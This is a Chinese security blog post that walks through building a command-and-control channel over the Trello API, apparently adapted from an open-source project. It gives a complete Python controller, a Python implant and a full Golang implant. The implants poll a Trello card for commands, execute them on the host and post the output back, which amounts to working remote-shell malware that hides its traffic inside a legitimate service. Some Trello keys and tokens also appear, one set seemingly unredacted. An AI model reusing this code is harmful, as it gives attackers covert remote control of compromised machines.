内网渗透番外篇 - 基于golang的Trello C2

  XCTF联赛小秘       2020-08-04 14:24:49 1034  0

赛宁网安天虞实验室,正式成立于2020年6月,是赛宁网安旗下以攻防技术研究为目标的安全团队,目前拥有20位专业的安全研究员,专注于渗透测试、安全开发、IOT安全、工控安全等方面。


上两期文章中,我们主要讲述了内网渗透中的金银票据攻击,本此番外篇将对C&C工具展开分析。




一. 起源

前段时间看到一个特别有意思的项目 是通过trello 类似在线便利贴的功能,通过它本身API进行数据传输,类似之前用推特、slack、wikipedia等第三方服务的api 进行传输。https://github.com/securemode/TrelloC2

//软件介绍
Trello 是一款著名的全平台项目管理、任务管理、多人协作看板。Trello 是一种简便、免费、灵活的可视化方式,可以管理你的项目并组织各种事务。

缺陷:
虽可通过API 进行相关参数的传参,但是具有相关的局限性。Trello API“描述”字段的大小受限制,该字段用于临时存储命令和结果命令输出。我认为大约是16k个字符。对于大多数命令来说,这是可以的,但是,由于Trello API返回400 Bad Request(大小太大)状态,返回大输出的命令将导致代理死亡。注意命令及其预期的输出。我最终将按照某种逻辑来确定命令输出的大小,然后再将其发送回trello的服务器以供 ”黑客“使用。


整体结构:


二. 起建立开发环境

1.创建Trello帐户:https://trello.com/signup

2.登录后,获取您的API密钥:https://trello.com/app-key


3.生成令牌(与应用程序密钥相同的页面,点击“token”链接),转到链接后,点击允许即可

4.保存API密钥和令牌,将在后续编写脚本过程中使用。
5.创建新看板,在新看板链接增加   .json 即可看到


6.在后续的编写脚本中所需的列表ID。


三. 服务端流程分析

1.要想GET,先取ID值
ID是唯一标识符,并且是随机创建。



我们根据官方文档,使用GET时候,必须要增加ID 的值,那么我们根据文档的POST数据得到的JSON值,其中就有ID的值,我们只需取JSON中ID 即可。


2.使用官方API调用,我们必须要密钥和令牌才能对其操作
参考官方API文档,根据文档中的POST的方法 进行传参。

https://developers.trello.com/reference#cards-2

3.POST数据
根据官方文档提供的API参数,我们进行对card 进行相关操作,使用POST方法 讲数据上传

list_id = "5e4b4a5239ec6a1bda1446fb"
api_key = "a9c4f22601673627660xxxx"
token = "f2cbfcf9b4164c7ce7093370181cc873b4e83368242xxxxxxx"
#根据 第一章第二节实验课中我们保存得到的相关ID


这是POST 后的数据,我们可以看到返回值两百,并有json返回,
表示我们可以对该面板的card 有操作权限


4.编写python POST 上传
使用python模拟POST上传,并获取json数据
根据以上两点,我们对数据进行整理编写,将密钥、令牌等传参获得操作授权。
POST传参 idList、name、key、token
设定需post的数值为以下常量

list_id = "5e4b4a5239ec6a1bda1446fb"
api_key = "a9c4f22601673627660d1b4xxxxx"
token = "f2cbfcf9b4164c7ce7093370181cc873b4e83368242e315xxxxxx"


对数据POST上传

ua = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0'}
api_endpoint = "https://trello.com/1/cards"
post_params = {"idList":list_id,"name": "test","key":api_key, "token":token}
req = requests.request("POST", api_endpoint, params=post_params, headers=ua, verify=True)
#POST数据
data = req.json()
#获取数据转换为json,以便后续取值
print (data)

data = req.json()
#获取数据转换为json,以便后续取值
card_id = data['id']
print("ID: " + card_id)



5.如何修改json数据并进行传参?


根据官方文档API 的PUT方法中,我们可以将desc 参数修改增加我们需要放入的命令

cards_endpoint = "https://trello.com/1/cards/" + card_id
#URL地址,获取card ID 地址内容
while True:
    # 获取card的ID,以便PUT传参
    put_cmd_params = {"name": "test","desc": "cmd:test","key": api_key,"token": token}
    req = requests.request("PUT", cards_endpoint, params=put_cmd_params, headers=ua, verify=True)
    # 进行PUT传参
    put_json = req.json()
    #获取PUT的json
    print(put_json)



6.输入命令,将desc的内容变为变量

while True:
    cmd = input(" command> ")
    print(cmd)


则整理后的PUT代码为如下:

cards_endpoint = "https://trello.com/1/cards/" + card_id
while True:
    cmd = input(" command> ")
    # 获取card的ID,以便PUT传参
    put_cmd_params = {"name": "test","desc": "cmd:"+cmd,"key": api_key,"token": token}
    req = requests.request("PUT", cards_endpoint, params=put_cmd_params, headers=ua, verify=True)
    # 进行PUT传参
    put_json = req.json()
    #获取PUT的json
    print(put_json)


服务端:
#!/usr/bin/env python3import requests, time, os, random, string
list_id = "5e4b4fe1c0ce316dcf19a61d"api_key = "a9c4f22601673627660dxxxxx"token = "f2cbfcf9b4164c7ce7093370181cc873bxxx"#设定传参值ua = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0'}api_endpoint = "https://trello.com/1/cards"post_params = {"idList":list_id,"name": "test","key":api_key, "token":token}req = requests.request("POST", api_endpoint, params=post_params, headers=ua, verify=True)#POST数据data = req.json()#获取数据转换为json,以便后续取值# card_id = data['id']card_id = "5e4cd3566fd7033554d2acc0"# print("ID: " + card_id)cards_endpoint = "https://trello.com/1/cards/" + card_id# 获取card的ID,以便PUT传参def PUT(cmd):#定义一个PUT方法,将cmd进行传参      
   put_cmd_params = {"name": "test","desc": "cmd:"+cmd,"key": api_key,"token": token}
   req = requests.request("PUT", cards_endpoint, params=put_cmd_params, headers=ua, verify=True)
   # 进行PUT传参
   put_json = req.json()
   #获取PUT的json
   output_exists = False
   #假设output回显退出条件为假
   output = ""
   #先定义output为空字符串
   while not output_exists:
   #循环条件为 不假,则不跳出循环
       time.sleep(3)
       get_params = {"name": "test","desc": "","key": api_key,"token": token}
       req = requests.request("GET", cards_endpoint, params=get_params, headers=ua, verify=True)
       response_data = req.json()
       output = response_data['desc']
       if "output:" in output: #循环条件,如果desc的值包含有output: 该字符串,则为真,跳出循环,并打印output的字符串
           output_exists = True
   print(output.split(":",1)[1])
   #output的字符串
   put_null_params = {"name": "test","desc": "","key": api_key,"token": token}
   req = requests.request("PUT", cards_endpoint, params=put_null_params, headers=ua, verify=True)
   #清除desc内容while True:
   cmd = input(" command> ")
   if cmd =="help":
       command_menu = """
> help (帮助参数)
> exit (退出)
"""
       print(command_menu)
    #判断 cmd接受的字符串为help 则打印command_menu
   elif cmd =="exit":
       break
   #判断 cmd接受的字符串为exit 则跳出循环
   else:
       PUT(cmd)


四. 客户端golang版

流程:
固定随机ID值
获取desc的值
取值分割cmd,并执行其命令
增加服务端判断是否有output字符串


由于客户端是python版本,我就想打算重新以golang语言重新编写这样一来编译后的文件可以跨平台使用而且体积小,大体的编写思路与python相似


1.python版本
#!/usr/bin/env python3import requests, time, os, random, string
list_id = "5e4b4fe1c0ce316dcf19a61d"card_id="5e4cd3566fd7033554d2acc0"api_key = "a9c4f226016736276xxxxxxxxxx"token = "f2cbfcf9b4164c7ce7093370181cc873b4e83368242e3xxxxxxx"ua = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0'}api_endpoint = "https://trello.com/1/cards/"+card_id

get_params = {"name": "test","desc": "","key": api_key,"token": token}req = requests.request("GET", api_endpoint, params=get_params, headers=ua, verify=True)response_data = req.json()cmd = response_data['desc']# print(cmd.split(":"))# #以冒号分割,并切片。# #取值第二个元素while True:
   cmd_exists = False
   cmd = ""
   #同服务端一样,设定cmd 跳出循环的条件为假,并初始化cmd为空字符串类型
   while not cmd_exists: #循环条件为真,循环获取desc的值
       time.sleep(3)
       get_params = {"name": "test","desc": "hello","key": api_key,"token": token}
       req = requests.request("GET", api_endpoint, params=get_params, headers=ua, verify=True)
       response_data = req.json()
       #获取该card的json内容

       cmd = response_data['desc']
       if "cmd:" in cmd: #判断 条件为如果 如果有cmd:字符串内容,就跳出循环条件
           cmd_exists = True

   out =os.popen(cmd.split(":")[1]).read()
   #将输出回显的定义为out变量
   put_params = {"name": "test","desc": "output:" + out,"key": api_key,"token": token}
   req = requests.request("PUT", api_endpoint, params=put_params, headers=ua, verify=True)
   #将out put方法回传给服务端


2.完整代码 golang
验证身份,并获取json
我们使用 net/http库进行对 URL身份验证和Get数据
req, err := http.NewRequest("GET", "https://trello.com/1/cards/5e0f12cc5f6a8021ce726451", nil)
if err != nil {
log.Print(err)
os.Exit(1)
}
// GET URL
q := req.URL.Query()
q.Add("name", "demonsec666")
q.Add("desc", "hello")
q.Add("key", "a9c4f22601673627660d1b48b454d713")
q.Add("token", "f2cbfcf9b4164c7ce7093370181cc873b4e83368242e315a40b1413423d2e367")
req.URL.RawQuery = q.Encode()
//jqery 内容

var resp *http.Response
resp, err = http.DefaultClient.Do(req)
if err != nil {
log.Print(err)
}
// fmt.Println(url)
defer resp.Body.Close()
body, err := ioutil.ReadAll(resp.Body)
if err != nil {
// handle error
}
      json := string(body)

// 获取boby里面的字符串内容
  fmt.Println(json)

获取desc的值
// 将GET URL 中的json值赋值给json变量
desc := gjson.Get(json, "desc")
//获取json变量中的desc key的值
fmt.Println(desc.String())
这里使用的是github.com/tidwall/gjson的库,用来获取json中desc的值



取值分割cmd,并执行其命令
cmd := strings.Split(desc.String(), ":")

//获取desc的值并用:分割为数组
if cmd[0] != "cmd" {
continue // 判断是否有cmd字符串,如果是就跳转循环
} else { //否则就执行下面语句
command := exec.Command(cmd[1])
//取值为第二元素为服务端接受的命令,并执行命令
out, err := command.CombinedOutput()
if err != nil {
log.Fatalf("cmd.Run() failed with %s\n", err)
}
output := string(out)
//将执行的命令返回结果赋值给output变量
str := "output:" + output
fmt.Printf(str)
}


使用put 将output回传给服务端

这里用到的库是编码Golang 中的UTF-8 与GBK 编码转换的库和中文编码的库
"golang.org/x/text/encoding/simplifiedchinese"
"golang.org/x/text/transform"

// PUT 数据
o := put.URL.Query()
o.Add("name", "demonsec666")
o.Add("desc", str)
o.Add("key", "a9c4f22601673627660xxxxxx")
o.Add("token", "f2cbfcf9b4164c7ce7093370181cc873b4e83368242e3xxxxx")
put.URL.RawQuery = o.Encode()

if err != nil {
// handle error
}

var resps *http.Response
resps, err = http.DefaultClient.Do(put)
if err != nil {
log.Print(err)
}
defer resps.Body.Close()




五. 最终效果

// 作者:demonsec666
package main

import (
"bytes"
"fmt"
"io/ioutil"
"log"
"net/http"
"os"
"os/exec"
"strings"

"github.com/tidwall/gjson"
"golang.org/x/text/encoding/simplifiedchinese"
"golang.org/x/text/transform"
)

func GbkToUtf8(s []byte) ([]byte, error) {
reader := transform.NewReader(bytes.NewReader(s), simplifiedchinese.GBK.NewDecoder())
d, e := ioutil.ReadAll(reader)
if e != nil {
return nil, e
}
return d, nil
}

func Utf8ToGbk(s []byte) ([]byte, error) {
reader := transform.NewReader(bytes.NewReader(s), simplifiedchinese.GBK.NewEncoder())
d, e := ioutil.ReadAll(reader)
if e != nil {
return nil, e
}
return d, nil
}

func main() {
for true {
req, err := http.NewRequest("GET", "https://trello.com/1/cards/5e0f12cc5f6a8021ce726451", nil)
if err != nil {
log.Print(err)
os.Exit(1)
}
// GET URL
q := req.URL.Query()
q.Add("name", "demonsec666")
q.Add("desc", "hello")
q.Add("key", "a9c4f2260167362766xxxxx")
q.Add("token", "f2cbfcf9b4164c7ce7093370181cc873b4e8xxxxx")
req.URL.RawQuery = q.Encode()
//jqery 内容
// Output:
// http://api.themoviedb.org/3/tv/popular?another_thing=foo+%26+bar&api_key=key_from_environment_or_flag

var resp *http.Response
resp, err = http.DefaultClient.Do(req)
if err != nil {
log.Print(err)
}
// fmt.Println(url)
defer resp.Body.Close()
body, err := ioutil.ReadAll(resp.Body)
if err != nil {
// handle error
}
json := string(body)
//将GET URL 中的json值赋值给json变量
desc := gjson.Get(json, "desc")
//获取json变量中的desc key的值
cmd := strings.Split(desc.String(), ":")
//获取desc的值并用:分割为数组
if cmd[0] != "cmd" {
continue // 判断是否有cmd字符串,如果是就跳转循环
} else { //否则就执行下面语句
command := exec.Command(cmd[1])
//取值为第二元素为服务端接受的命令,并执行命令
out, err := command.CombinedOutput()
if err != nil {
log.Fatalf("cmd.Run() failed with %s\n", err)
}
output := string(out)
str := "output:" + output
fmt.Printf(str)
//将执行的命令返回结果赋值给output变量
put, err := http.NewRequest("PUT", "https://trello.com/1/cards/5e0f12cc5f6a8021ce726451", nil)
if err != nil {
log.Print(err)
os.Exit(1)
}
            
// PUT 数据
o := put.URL.Query()
o.Add("name", "demonsec666")
o.Add("desc", str)
o.Add("key", "a9c4f22601673627660xxxxxx")
o.Add("token", "f2cbfcf9b4164c7ce7093370181cc873b4e83368242e3xxxxx")
put.URL.RawQuery = o.Encode()

if err != nil {
// handle error
}

var resps *http.Response
resps, err = http.DefaultClient.Do(put)
if err != nil {
log.Print(err)
}
defer resps.Body.Close()
            

}
}
}

请先登录
+1 已点过赞
0
分享到:
登录后才能发贴或参与互动哦! 点击登录

全部评论 (1)

CoolX 2020-08-10 18:53:21
111111
回复
请先登录 0 +1 已点过赞